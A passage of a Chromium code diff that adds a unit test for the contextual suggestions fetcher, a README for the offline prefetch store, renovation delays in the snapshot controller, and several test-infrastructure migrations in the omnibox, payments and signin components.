+#include "components/prefs/testing_pref_service.h"
+#include "components/signin/core/browser/fake_profile_oauth2_token_service.h"
+#include "components/signin/core/browser/fake_signin_manager.h"
+#include "google_apis/gaia/fake_oauth2_token_service_delegate.h"
+#include "net/url_request/test_url_fetcher_factory.h"
+#include "net/url_request/url_request_test_util.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace ntp_snippets {
+
+namespace {
+
+using testing::_;
+using testing::AllOf;
+using testing::Eq;
+using testing::Field;
+using testing::IsEmpty;
+using testing::Property;
+using testing::StartsWith;
+
+const char kTestEmail[] = "foo@bar.com";
+const char kValidURL[] = "http://valid-url.test";
+
+MATCHER(IsEmptySuggestionsList, "is an empty list of suggestions") {
+  ContextualSuggestionsFetcher::OptionalSuggestions& optional_suggestions =
+      *arg;
+  if (!optional_suggestions) {
+    *result_listener << "expected a suggestion list.";
+    return false;
+  }
+  if (optional_suggestions->size() != 0) {
+    *result_listener << "expected empty suggestions, got: "
+                     << optional_suggestions->size();
+    return false;
+  }
+  return true;
+}
+
+MATCHER_P(IsSingleSuggestion,
+          url,
+          "is a list with the single suggestion %(url)s") {
+  ContextualSuggestionsFetcher::OptionalSuggestions& optional_suggestions =
+      *arg;
+  if (!optional_suggestions) {
+    *result_listener << "expected a suggestion list.";
+    return false;
+  }
+  if (optional_suggestions->size() != 1) {
+    *result_listener << "expected single suggestion, got: "
+                     << optional_suggestions->size();
+    return false;
+  }
+  if (optional_suggestions.value()[0]->url().spec() != url) {
+    *result_listener << "unexpected url, got: "
+                     << optional_suggestions.value()[0]->url().spec();
+    return false;
+  }
+  return true;
+}
+
+class MockSuggestionsAvailableCallback {
+ public:
+  // Workaround for gMock's lack of support for movable arguments.
+  void WrappedRun(
+      Status status,
+      ContextualSuggestionsFetcher::OptionalSuggestions optional_suggestions) {
+    Run(status, &optional_suggestions);
+  }
+
+  MOCK_METHOD2(Run,
+               void(Status status,
+                    ContextualSuggestionsFetcher::OptionalSuggestions*
+                        optional_suggestions));
+};
+
+void ParseJson(const std::string& json,
+               const SuccessCallback& success_callback,
+               const ErrorCallback& error_callback) {
+  base::JSONReader json_reader;
+  std::unique_ptr<base::Value> value = json_reader.ReadToValue(json);
+  if (value) {
+    success_callback.Run(std::move(value));
+  } else {
+    error_callback.Run(json_reader.GetErrorMessage());
+  }
+}
+
+}  // namespace
+
+class ContextualSuggestionsFetcherTest : public testing::Test {
+ public:
+  ContextualSuggestionsFetcherTest()
+      : fake_url_fetcher_factory_(new net::FakeURLFetcherFactory(nullptr)),
+        mock_task_runner_(new base::TestMockTimeTaskRunner()),
+        mock_task_runner_handle_(mock_task_runner_) {
+    scoped_refptr<net::TestURLRequestContextGetter> request_context_getter =
+        new net::TestURLRequestContextGetter(mock_task_runner_.get());
+    fake_token_service_ = base::MakeUnique<FakeProfileOAuth2TokenService>(
+        base::MakeUnique<FakeOAuth2TokenServiceDelegate>(
+            request_context_getter.get()));
+    fetcher_ = base::MakeUnique<ContextualSuggestionsFetcher>(
+        test_utils_.fake_signin_manager(), fake_token_service_.get(),
+        std::move(request_context_getter), test_utils_.pref_service(),
+        base::Bind(&ParseJson));
+  }
+
+  void FastForwardUntilNoTasksRemain() {
+    mock_task_runner_->FastForwardUntilNoTasksRemain();
+  }
+
+  void InitializeFakeCredentials() {
+#if defined(OS_CHROMEOS)
+    test_utils_.fake_signin_manager()->SignIn(kTestEmail);
+#else
+    test_utils_.fake_signin_manager()->SignIn(kTestEmail, "user", "password");
+#endif
+    fake_token_service_->GetDelegate()->UpdateCredentials(kTestEmail, "token");
+  }
+
+  void IssueOAuth2Token() {
+    fake_token_service_->IssueAllTokensForAccount(kTestEmail, "access_token",
+                                                  base::Time::Max());
+  }
+
+  void SetFakeResponse(const std::string& response_data,
+                       net::HttpStatusCode response_code,
+                       net::URLRequestStatus::Status status) {
+    fake_url_fetcher_factory_->SetFakeResponse(
+        fetcher_->GetFetchUrlForTesting(), response_data, response_code,
+        status);
+  }
+
+  ContextualSuggestionsFetcher::SuggestionsAvailableCallback
+  ToSuggestionsAvailableCallback(MockSuggestionsAvailableCallback* callback) {
+    return base::BindOnce(&MockSuggestionsAvailableCallback::WrappedRun,
+                          base::Unretained(callback));
+  }
+
+  ContextualSuggestionsFetcher& fetcher() { return *fetcher_; }
+  MockSuggestionsAvailableCallback& mock_suggestions_available_callback() {
+    return mock_suggestions_available_callback_;
+  }
+
+ private:
+  std::unique_ptr<FakeProfileOAuth2TokenService> fake_token_service_;
+  std::unique_ptr<net::FakeURLFetcherFactory> fake_url_fetcher_factory_;
+  std::unique_ptr<ContextualSuggestionsFetcher> fetcher_;
+  MockSuggestionsAvailableCallback mock_suggestions_available_callback_;
+  scoped_refptr<base::TestMockTimeTaskRunner> mock_task_runner_;
+  base::ThreadTaskRunnerHandle mock_task_runner_handle_;
+  test::RemoteSuggestionsTestUtils test_utils_;
+
+  DISALLOW_COPY_AND_ASSIGN(ContextualSuggestionsFetcherTest);
+};
+
+TEST_F(ContextualSuggestionsFetcherTest, ShouldCreateFetcher) {
+  FastForwardUntilNoTasksRemain();
+  EXPECT_THAT(fetcher().GetLastStatusForTesting(), IsEmpty());
+}
+
+TEST_F(ContextualSuggestionsFetcherTest, ShouldFetchSuggestion) {
+  InitializeFakeCredentials();
+  const std::string kValidResponseData =
+      "{\"categories\" : [{"
+      "  \"id\": 0,"
+      "  \"suggestions\" : [{"
+      "    \"title\" : \"Title\","
+      "    \"summary\" : \"...\","
+      "    \"url\" : \"http://localhost/foobar\","
+      "    \"imageUrl\" : \"http://localhost/foobar.jpg\""
+      "  }]"
+      "}]}";
+  SetFakeResponse(/*response_data=*/kValidResponseData, net::HTTP_OK,
+                  net::URLRequestStatus::SUCCESS);
+  EXPECT_CALL(mock_suggestions_available_callback(),
+              Run(Property(&Status::IsSuccess, true),
+                  IsSingleSuggestion("http://localhost/foobar")));
+
+  fetcher().FetchContextualSuggestions(
+      GURL(kValidURL),
+      ToSuggestionsAvailableCallback(&mock_suggestions_available_callback()));
+  IssueOAuth2Token();
+  FastForwardUntilNoTasksRemain();
+  EXPECT_THAT(fetcher().GetLastStatusForTesting(), Eq("OK"));
+  EXPECT_THAT(fetcher().GetLastJsonForTesting(), Eq(kValidResponseData));
+}
+
+TEST_F(ContextualSuggestionsFetcherTest, ShouldFetchEmptySuggestionsList) {
+  InitializeFakeCredentials();
+  const std::string kValidEmptyCategoryResponseData =
+      "{\"categories\" : [{"
+      "  \"id\": 0,"
+      "  \"suggestions\": []"
+      "}]}";
+  SetFakeResponse(/*response_data=*/kValidEmptyCategoryResponseData,
+                  net::HTTP_OK, net::URLRequestStatus::SUCCESS);
+  EXPECT_CALL(mock_suggestions_available_callback(),
+              Run(Property(&Status::IsSuccess, true),
+                  /*fetched_categories=*/IsEmptySuggestionsList()));
+
+  fetcher().FetchContextualSuggestions(
+      GURL(kValidURL),
+      ToSuggestionsAvailableCallback(&mock_suggestions_available_callback()));
+  IssueOAuth2Token();
+  FastForwardUntilNoTasksRemain();
+  EXPECT_THAT(fetcher().GetLastStatusForTesting(), Eq("OK"));
+  EXPECT_THAT(fetcher().GetLastJsonForTesting(),
+              Eq(kValidEmptyCategoryResponseData));
+}
+
+TEST_F(ContextualSuggestionsFetcherTest,
+       ShouldReportErrorForEmptyResponseData) {
+  InitializeFakeCredentials();
+  SetFakeResponse(/*response_data=*/std::string(), net::HTTP_NOT_FOUND,
+                  net::URLRequestStatus::SUCCESS);
+  EXPECT_CALL(mock_suggestions_available_callback(),
+              Run(Property(&Status::IsSuccess, false), _));
+
+  fetcher().FetchContextualSuggestions(
+      GURL(kValidURL),
+      ToSuggestionsAvailableCallback(&mock_suggestions_available_callback()));
+  IssueOAuth2Token();
+  FastForwardUntilNoTasksRemain();
+}
+
+TEST_F(ContextualSuggestionsFetcherTest,
+       ShouldReportErrorForInvalidResponseData) {
+  InitializeFakeCredentials();
+  const std::string kInvalidResponseData = "{ \"recos\": []";
+  SetFakeResponse(/*response_data=*/kInvalidResponseData, net::HTTP_OK,
+                  net::URLRequestStatus::SUCCESS);
+  EXPECT_CALL(
+      mock_suggestions_available_callback(),
+      Run(Field(&Status::code, StatusCode::TEMPORARY_ERROR),
+          /*fetched_categories=*/Property(
+              &ContextualSuggestionsFetcher::OptionalSuggestions::has_value,
+              false)));
+
+  fetcher().FetchContextualSuggestions(
+      GURL(kValidURL),
+      ToSuggestionsAvailableCallback(&mock_suggestions_available_callback()));
+  IssueOAuth2Token();
+  FastForwardUntilNoTasksRemain();
+  EXPECT_THAT(fetcher().GetLastStatusForTesting(),
+              StartsWith("Received invalid JSON (error "));
+  EXPECT_THAT(fetcher().GetLastJsonForTesting(), Eq(kInvalidResponseData));
+}
+
+}  // namespace ntp_snippets
diff --git a/components/ntp_snippets/remote/remote_suggestion.cc b/components/ntp_snippets/remote/remote_suggestion.cc
index fc0e4a3..cf7b65ff 100644
--- a/components/ntp_snippets/remote/remote_suggestion.cc
+++ b/components/ntp_snippets/remote/remote_suggestion.cc
@@ -287,6 +287,31 @@
 }
 
 // static
+std::unique_ptr<RemoteSuggestion>
+RemoteSuggestion::CreateFromContextualSuggestionsDictionary(
+    const base::DictionaryValue& dict) {
+  std::string id;
+  if (!dict.GetString("url", &id) || id.empty()) {
+    return nullptr;
+  }
+  // TODO(gaschler): Remove the unused kArticlesRemoteId argument when moving
+  // away from RemoteSuggestion.
+  auto remote_suggestion = MakeUnique({id}, kArticlesRemoteId);
+  GetURLValue(dict, "url", &remote_suggestion->url_);
+  if (!dict.GetString("title", &remote_suggestion->title_)) {
+    dict.GetString("source", &remote_suggestion->title_);
+  }
+  dict.GetString("snippet", &remote_suggestion->snippet_);
+  GetTimeValue(dict, "creationTime", &remote_suggestion->publish_date_);
+  GetTimeValue(dict, "expirationTime", &remote_suggestion->expiry_date_);
+  GetURLValue(dict, "imageUrl", &remote_suggestion->salient_image_url_);
+  if (!dict.GetString("attribution", &remote_suggestion->publisher_name_)) {
+    dict.GetString("source", &remote_suggestion->publisher_name_);
+  }
+  return remote_suggestion;
+}
+
+// static
 std::unique_ptr<RemoteSuggestion> RemoteSuggestion::CreateFromProto(
     const SnippetProto& proto) {
   // Need at least the id.
diff --git a/components/ntp_snippets/remote/remote_suggestion.h b/components/ntp_snippets/remote/remote_suggestion.h
index 97bda872..7002eba 100644
--- a/components/ntp_snippets/remote/remote_suggestion.h
+++ b/components/ntp_snippets/remote/remote_suggestion.h
@@ -51,6 +51,9 @@
                                          int remote_category_id,
                                          const base::Time& fetch_date);
 
+  static std::unique_ptr<RemoteSuggestion>
+  CreateFromContextualSuggestionsDictionary(const base::DictionaryValue& dict);
+
   // Creates an RemoteSuggestion from a protocol buffer. Returns a null pointer
   // if the protocol buffer doesn't correspond to a valid suggestion.
   static std::unique_ptr<RemoteSuggestion> CreateFromProto(
diff --git a/components/offline_pages/core/prefetch/README.md b/components/offline_pages/core/prefetch/README.md
index 1d6e9ca..4279a3b 100644
--- a/components/offline_pages/core/prefetch/README.md
+++ b/components/offline_pages/core/prefetch/README.md
@@ -32,6 +32,9 @@
   commands they require to do their work.
 * Tasks receive a pointer to the store to be able to execute their SQL commands.
 
+More detailed instructions of how to use Prefetch store can be found [here](
+store/README.md)
+
 ## Development guidelines
 
 * Implementations that are injected dependencies during service creation should
diff --git a/components/offline_pages/core/prefetch/store/README.md b/components/offline_pages/core/prefetch/store/README.md
new file mode 100644
index 0000000..a5ead32
--- /dev/null
+++ b/components/offline_pages/core/prefetch/store/README.md
@@ -0,0 +1,138 @@
+# Using offline prefetch store
+
+This document provides background for understanding and prescribes how to
+interact with the offline prefetch store.
+
+[TOC]
+
+## Simple interface
+
+There are 2 goals of the `PrefetchStoreSQL` class:
+
+* Provide a way to run a group of related commands in a transaction, to achieve
+  atomicity.
+* Remove the burden of switching threads between foreground and background from
+  the caller. (All SQL store interactions are actually running on the background
+  thread, but that fact is transparent to the caller.)
+
+Therefore the store offers the following interface:
+
+```cpp
+class PrefetchStore {
+ public:
+  // Definition of the callback that is going to run the core of the command in
+  // the |Execute| method.
+  template <typename T>
+  using RunCallback = base::OnceCallback<T(sql::Connection*)>;
+
+  // Definition of the callback used to pass the result back to the caller of
+  // |Execute| method.
+  template <typename T>
+  using ResultCallback = base::OnceCallback<void(T)>;
+
+  // Creates an instance of |PrefetchStore| with an in-memory SQLite database.
+  explicit PrefetchStore(
+      scoped_refptr<base::SequencedTaskRunner> blocking_task_runner);
+
+  // Creates an instance of |PrefetchStore| with a SQLite database stored in
+  // |database_dir|.
+  PrefetchStore(scoped_refptr<base::SequencedTaskRunner> blocking_task_runner,
+                const base::FilePath& database_dir);
+
+  ~PrefetchStore();
+
+  // Executes a |run_callback| on SQL store on the blocking thread, and posts
+  // its result back to calling thread through |result_callback|.
+  // Calling |Execute| when store is NOT_INITIALIZED will cause the store
+  // initialization to start.
+  // Store initialization status needs to be SUCCESS for test task to run, or
+  // FAILURE, in which case the |db| pointer passed to |run_callback| will be
+  // null and such case should be gracefully handled.
+  template <typename T>
+  void Execute(RunCallback<T> run_callback, ResultCallback<T> result_callback);
+
+  // Gets the initialization status of the store.
+  InitializationStatus initialization_status() const;
+};
+```
+
+It allows for enough flexibility to execute `run_callback` on a background
+(blocking) task runner with a `sql::Connection` pointer provided, and then
+return result using `result_callback`.
+
+## How to implement your command
+
+Running code against prefetch store requires defining 2 functions. First one
+responsible for working with the store on the background thread, while second to
+deliver results to the foreground.
+
+### Defining a RunCallback
+
+Signature of the callback to run on a background thread is defined by
+`PrefetchStoreSQL::RunCallback`. Basic implementation should contain the
+following (in this example `bool` is used as a sample return type.
+
+```cpp
+bool ExampleRunCallback(sql::Connection* db) {
+  // Run function should start from ensuring that provided `db` pointer is not
+  // nullptr. If it is, there has been an error opening or initializing the DB.
+  // Such case is possible and it would not be appropriate to CHECK/DCHECK in
+  // that case. Code written against PrefetchStore is supposed to handle error
+  // cases like that gracefully.
+  if (!db)
+    return false;
+
+  // Next it's best to start a transaction, which can be aborted without making
+  // changes to the data. This is one of the reasons to go with provided store
+  // interface.
+  sql::Transaction transaction(db);
+
+  // If transaction does not begin, we can leave. This is another error
+  // condition that should not be CHECK/DCHECKed, as failure to open transaction
+  // happens and should be handled gracefully by the caller.
+  if (!transaction.Begin())
+    return false;
+
+  // Code doing the work goes here.
+
+  // Because we are running in transaction code, whenever we run into an error,
+  // we can simply return and *transaction will be aborted*.
+  if (/* stuff went wrong */)
+    return false;
+
+  // If everything went well up to this point, we attempt to commit a
+  // transaction. If the attempt fails, we return false again and transaction
+  // will be aborted for us.
+  if (!transaction.Commit())
+    return false;
+
+  // Everything went right, transaction is committed at this point. We should
+  // return appropriate result without attempting any more work with the DB.
+  // It should be OK to report UMA if necessary.
+  return true;
+}
+```
+
+### Defining a ResultCallback
+
+Return of the RunCallback will be provided to ResultCallback using a move
+semantics. This is how result is made available on the foreground thread.
+ResultCallback takes over ownership of the passed in result.
+
+```cpp
+void ExampleResultCallback(bool success) {
+  if (!success) {
+    // Log error, UMA the problem or issue a retry.
+    LOG(ERROR) << "DB operation failed. All hope is lost.";
+    return;
+  }
+
+  // Do regular follow up work.
+}
+```
+
+In the simple example above, we are using `bool` as a return type, but it would
+be much better to use an enum, or a structure containing an enum, that gives a
+better detail of what went wrong.
+See `//components/offline_pages/core/prefetch/add_unique_urls_task.cc` for a
+good example of working consumer of the API.
diff --git a/components/offline_pages/core/prefetch/store/prefetch_store.h b/components/offline_pages/core/prefetch/store/prefetch_store.h
index 15929a6..7be88483 100644
--- a/components/offline_pages/core/prefetch/store/prefetch_store.h
+++ b/components/offline_pages/core/prefetch/store/prefetch_store.h
@@ -49,18 +49,21 @@
   template <typename T>
   using ResultCallback = base::OnceCallback<void(T)>;
 
+  // Creates an instance of |PrefetchStore| with an in-memory SQLite database.
   explicit PrefetchStore(
       scoped_refptr<base::SequencedTaskRunner> blocking_task_runner);
+
+  // Creates an instance of |PrefetchStore| with a SQLite database stored in
+  // |database_dir|.
   PrefetchStore(scoped_refptr<base::SequencedTaskRunner> blocking_task_runner,
                 const base::FilePath& database_dir);
+
   ~PrefetchStore();
 
   // Executes a |run_callback| on SQL store on the blocking thread, and posts
-  // its result back to calling thread through |result_callback|. The work will
-  // be postponed if the store is in NOT_INITIALIZED or INITIALIZING, in which
-  // case the work will have to wait until initialization is completed. Calling
-  // |Execute| when store is NOT_INITIALIZED will cause the store initialization
-  // to start.
+  // its result back to calling thread through |result_callback|.
+  // Calling |Execute| when store is NOT_INITIALIZED will cause the store
+  // initialization to start.
   // Store initialization status needs to be SUCCESS for test task to run, or
   // FAILURE, in which case the |db| pointer passed to |run_callback| will be
   // null and such case should be gracefully handled.
diff --git a/components/offline_pages/core/snapshot_controller.cc b/components/offline_pages/core/snapshot_controller.cc
index bfcacac..27bb798 100644
--- a/components/offline_pages/core/snapshot_controller.cc
+++ b/components/offline_pages/core/snapshot_controller.cc
@@ -23,6 +23,11 @@
 const int64_t kDelayAfterDocumentOnLoadCompletedMsForeground = 1000;
 const int64_t kDelayAfterDocumentOnLoadCompletedMsBackground = 2000;
 
+// Default delay, in milliseconds, between renovations finishing and
+// taking a snapshot. Allows for page to update in response to the
+// renovations.
+const int64_t kDelayAfterRenovationsCompletedMs = 2000;
+
 // Delay for testing to keep polling times reasonable.
 const int64_t kDelayForTests = 0;
 
@@ -38,18 +43,21 @@
   return std::unique_ptr<SnapshotController>(new SnapshotController(
       task_runner, client, kDefaultDelayAfterDocumentAvailableMs,
       kDelayAfterDocumentOnLoadCompletedMsForeground,
-      kDocumentAvailableTriggersSnapshot));
+      kDelayAfterRenovationsCompletedMs, kDocumentAvailableTriggersSnapshot,
+      false));
 }
 
 // static
 std::unique_ptr<SnapshotController>
 SnapshotController::CreateForBackgroundOfflining(
     const scoped_refptr<base::SingleThreadTaskRunner>& task_runner,
-    SnapshotController::Client* client) {
+    SnapshotController::Client* client,
+    bool renovations_enabled) {
   return std::unique_ptr<SnapshotController>(new SnapshotController(
       task_runner, client, kDefaultDelayAfterDocumentAvailableMs,
       kDelayAfterDocumentOnLoadCompletedMsBackground,
-      !kDocumentAvailableTriggersSnapshot));
+      kDelayAfterRenovationsCompletedMs, !kDocumentAvailableTriggersSnapshot,
+      renovations_enabled));
 }
 
 SnapshotController::SnapshotController(
@@ -57,19 +65,25 @@
     SnapshotController::Client* client,
     int64_t delay_after_document_available_ms,
     int64_t delay_after_document_on_load_completed_ms,
-    bool document_available_triggers_snapshot)
+    int64_t delay_after_renovations_completed_ms,
+    bool document_available_triggers_snapshot,
+    bool renovations_enabled)
     : task_runner_(task_runner),
       client_(client),
       state_(State::READY),
       delay_after_document_available_ms_(delay_after_document_available_ms),
       delay_after_document_on_load_completed_ms_(
           delay_after_document_on_load_completed_ms),
+      delay_after_renovations_completed_ms_(
+          delay_after_renovations_completed_ms),
       document_available_triggers_snapshot_(
           document_available_triggers_snapshot),
+      renovations_enabled_(renovations_enabled),
       weak_ptr_factory_(this) {
   if (offline_pages::ShouldUseTestingSnapshotDelay()) {
     delay_after_document_available_ms_ = kDelayForTests;
     delay_after_document_on_load_completed_ms_ = kDelayForTests;
+    delay_after_renovations_completed_ms_ = kDelayForTests;
   }
 }
 
@@ -95,8 +109,14 @@
 }
 
 void SnapshotController::RenovationsCompleted() {
-  // Do nothing for now.
-  // TODO(collinbaker): delay snapshot until this signal is received.
+  if (renovations_enabled_) {
+    task_runner_->PostDelayedTask(
+        FROM_HERE,
+        base::Bind(&SnapshotController::MaybeStartSnapshotThenStop,
+                   weak_ptr_factory_.GetWeakPtr()),
+        base::TimeDelta::FromMilliseconds(
+            delay_after_renovations_completed_ms_));
+  }
 }
 
 void SnapshotController::DocumentAvailableInMainFrame() {
@@ -113,12 +133,19 @@
 }
 
 void SnapshotController::DocumentOnLoadCompletedInMainFrame() {
-  // Post a delayed task to snapshot and then stop this controller.
-  task_runner_->PostDelayedTask(
-      FROM_HERE, base::Bind(&SnapshotController::MaybeStartSnapshotThenStop,
-                            weak_ptr_factory_.GetWeakPtr()),
-      base::TimeDelta::FromMilliseconds(
-          delay_after_document_on_load_completed_ms_));
+  if (renovations_enabled_) {
+    // Run renovations. After renovations complete, a snapshot will be
+    // triggered after a delay.
+    client_->RunRenovations();
+  } else {
+    // Post a delayed task to snapshot and then stop this controller.
+    task_runner_->PostDelayedTask(
+        FROM_HERE,
+        base::Bind(&SnapshotController::MaybeStartSnapshotThenStop,
+                   weak_ptr_factory_.GetWeakPtr()),
+        base::TimeDelta::FromMilliseconds(
+            delay_after_document_on_load_completed_ms_));
+  }
 }
 
 void SnapshotController::MaybeStartSnapshot(PageQuality updated_page_quality) {
@@ -143,4 +170,8 @@
   return delay_after_document_on_load_completed_ms_;
 }
 
+int64_t SnapshotController::GetDelayAfterRenovationsCompletedForTest() {
+  return delay_after_renovations_completed_ms_;
+}
+
 }  // namespace offline_pages
diff --git a/components/offline_pages/core/snapshot_controller.h b/components/offline_pages/core/snapshot_controller.h
index ae8d2a4..ff89102 100644
--- a/components/offline_pages/core/snapshot_controller.h
+++ b/components/offline_pages/core/snapshot_controller.h
@@ -74,14 +74,17 @@
   // and ignores document available signal.
   static std::unique_ptr<SnapshotController> CreateForBackgroundOfflining(
       const scoped_refptr<base::SingleThreadTaskRunner>& task_runner,
-      SnapshotController::Client* client);
+      SnapshotController::Client* client,
+      bool renovations_enabled);
 
   SnapshotController(
       const scoped_refptr<base::SingleThreadTaskRunner>& task_runner,
       SnapshotController::Client* client,
       int64_t delay_after_document_available_ms,
       int64_t delay_after_document_on_load_completed_ms,
-      bool document_available_triggers_snapshot);
+      int64_t delay_after_renovations_completed_ms,
+      bool document_available_triggers_snapshot,
+      bool renovations_enabled);
   virtual ~SnapshotController();
 
   // Resets the 'session', returning controller to initial state.
@@ -107,6 +110,7 @@
 
   int64_t GetDelayAfterDocumentAvailableForTest();
   int64_t GetDelayAfterDocumentOnLoadCompletedForTest();
+  int64_t GetDelayAfterRenovationsCompletedForTest();
 
   PageQuality current_page_quality() const { return current_page_quality_; }
 
@@ -120,7 +124,9 @@
   SnapshotController::State state_;
   int64_t delay_after_document_available_ms_;
   int64_t delay_after_document_on_load_completed_ms_;
+  int64_t delay_after_renovations_completed_ms_;
   bool document_available_triggers_snapshot_;
+  bool renovations_enabled_;
 
   // The expected quality of a snapshot taken at the moment this value is
   // queried.
diff --git a/components/omnibox/browser/autocomplete_provider_unittest.cc b/components/omnibox/browser/autocomplete_provider_unittest.cc
index 4710743..a117047 100644
--- a/components/omnibox/browser/autocomplete_provider_unittest.cc
+++ b/components/omnibox/browser/autocomplete_provider_unittest.cc
@@ -75,7 +75,7 @@
     if (!closure_.is_null())
       closure_.Run();
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   base::Closure closure_;
diff --git a/components/omnibox/browser/history_quick_provider_unittest.cc b/components/omnibox/browser/history_quick_provider_unittest.cc
index ad0b729..1a0c171 100644
--- a/components/omnibox/browser/history_quick_provider_unittest.cc
+++ b/components/omnibox/browser/history_quick_provider_unittest.cc
@@ -15,7 +15,6 @@
 
 #include "base/format_macros.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/test/scoped_task_environment.h"
@@ -103,7 +102,7 @@
   }
 
   void DoneRunOnMainThread() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/components/omnibox/browser/history_url_provider_unittest.cc b/components/omnibox/browser/history_url_provider_unittest.cc
index a4a5048..cba9c37 100644
--- a/components/omnibox/browser/history_url_provider_unittest.cc
+++ b/components/omnibox/browser/history_url_provider_unittest.cc
@@ -272,7 +272,7 @@
 
 void HistoryURLProviderTest::OnProviderUpdate(bool updated_matches) {
   if (autocomplete_->done())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 bool HistoryURLProviderTest::SetUpImpl(bool create_history_db) {
diff --git a/components/payments/core/address_normalizer_impl_unittest.cc b/components/payments/core/address_normalizer_impl_unittest.cc
index 495dd040..f38ac14 100644
--- a/components/payments/core/address_normalizer_impl_unittest.cc
+++ b/components/payments/core/address_normalizer_impl_unittest.cc
@@ -6,9 +6,8 @@
 
 #include <utility>
 
-#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
-#include "base/test/scoped_task_scheduler.h"
+#include "base/test/scoped_task_environment.h"
 #include "components/autofill/core/browser/autofill_profile.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/libaddressinput/src/cpp/include/libaddressinput/null_storage.h"
@@ -119,7 +118,7 @@
 
   const std::unique_ptr<TestAddressNormalizer> normalizer_;
 
-  base::test::ScopedTaskScheduler scoped_task_scheduler_;
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
 
  private:
   DISALLOW_COPY_AND_ASSIGN(AddressNormalizerTest);
@@ -170,7 +169,7 @@
   normalizer_->StartAddressNormalization(profile, kLocale, 0, &delegate);
 
   // Let the timeout execute.
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // Since the rules are never loaded and the timeout is 0, the delegate should
   // get notified that the address could not be normalized.
@@ -234,7 +233,7 @@
   normalizer_->StartAddressNormalization(profile, kLocale, 0, &delegate);
 
   // Let the timeout execute.
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // Make sure the address was not normalized.
   EXPECT_TRUE(delegate.not_normalized_called());
diff --git a/components/payments/core/features.cc b/components/payments/core/features.cc
index e3694b2..c51d57f 100644
--- a/components/payments/core/features.cc
+++ b/components/payments/core/features.cc
@@ -12,6 +12,9 @@
                                  base::FEATURE_DISABLED_BY_DEFAULT};
 #endif
 
+const base::Feature kWebPaymentsMethodSectionOrderV2{
+    "WebPaymentsMethodSectionOrderV2", base::FEATURE_DISABLED_BY_DEFAULT};
+
 const base::Feature kWebPaymentsModifiers{"WebPaymentsModifiers",
                                           base::FEATURE_DISABLED_BY_DEFAULT};
 
diff --git a/components/payments/core/features.h b/components/payments/core/features.h
index 926e267..4af9cf12 100644
--- a/components/payments/core/features.h
+++ b/components/payments/core/features.h
@@ -16,6 +16,11 @@
 extern const base::Feature kWebPayments;
 #endif
 
+// Used to control payment method section order on payment request UI. Payment
+// method section should be put on top of the address section when this feature
+// is enabled instead of under it.
+extern const base::Feature kWebPaymentsMethodSectionOrderV2;
+
 // Used to control the support for Payment Details modifiers.
 extern const base::Feature kWebPaymentsModifiers;
 
diff --git a/components/payments/core/subkey_requester_unittest.cc b/components/payments/core/subkey_requester_unittest.cc
index 474700c..e6c29ae 100644
--- a/components/payments/core/subkey_requester_unittest.cc
+++ b/components/payments/core/subkey_requester_unittest.cc
@@ -7,9 +7,8 @@
 #include <utility>
 
 #include "base/bind.h"
-#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
-#include "base/test/scoped_task_scheduler.h"
+#include "base/test/scoped_task_environment.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/libaddressinput/src/cpp/include/libaddressinput/null_storage.h"
 #include "third_party/libaddressinput/src/cpp/include/libaddressinput/source.h"
@@ -100,7 +99,6 @@
 
  private:
   bool should_load_rules_;
-  base::test::ScopedTaskScheduler scoped_task_scheduler_;
 
   DISALLOW_COPY_AND_ASSIGN(TestSubKeyRequester);
 };
@@ -116,6 +114,7 @@
 
   ~SubKeyRequesterTest() override {}
 
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
   const std::unique_ptr<TestSubKeyRequester> requester_;
 
  private:
@@ -170,7 +169,7 @@
   requester_->StartRegionSubKeysRequest(kLocale, kLanguage, 0, std::move(cb));
 
   // Let the timeout execute.
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // Since the rules are never loaded and the timeout is 0, the delegate should
   // get notified that the subkeys could not be received.
diff --git a/components/signin/core/browser/BUILD.gn b/components/signin/core/browser/BUILD.gn
index 5c4616a..28c5cada 100644
--- a/components/signin/core/browser/BUILD.gn
+++ b/components/signin/core/browser/BUILD.gn
@@ -181,6 +181,7 @@
     "account_investigator_unittest.cc",
     "account_tracker_service_unittest.cc",
     "gaia_cookie_manager_service_unittest.cc",
+    "profile_management_switches_unittest.cc",
     "refresh_token_annotation_request_unittest.cc",
     "signin_error_controller_unittest.cc",
     "signin_header_helper_unittest.cc",
diff --git a/components/signin/core/browser/android/BUILD.gn b/components/signin/core/browser/android/BUILD.gn
index 1a8ab59..675f18ca 100644
--- a/components/signin/core/browser/android/BUILD.gn
+++ b/components/signin/core/browser/android/BUILD.gn
@@ -22,7 +22,6 @@
   java_files = [
     "java/src/org/chromium/components/signin/AccountManagerDelegate.java",
     "java/src/org/chromium/components/signin/AccountManagerFacade.java",
-    "java/src/org/chromium/components/signin/AccountManagerHelper.java",
     "java/src/org/chromium/components/signin/AccountsChangeObserver.java",
     "java/src/org/chromium/components/signin/AuthException.java",
     "java/src/org/chromium/components/signin/ChildAccountInfoFetcher.java",
diff --git a/components/signin/core/browser/android/java/src/org/chromium/components/signin/AccountManagerHelper.java b/components/signin/core/browser/android/java/src/org/chromium/components/signin/AccountManagerHelper.java
deleted file mode 100644
index d40d12b1..0000000
--- a/components/signin/core/browser/android/java/src/org/chromium/components/signin/AccountManagerHelper.java
+++ /dev/null
@@ -1,15 +0,0 @@
-// Copyright 2011 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
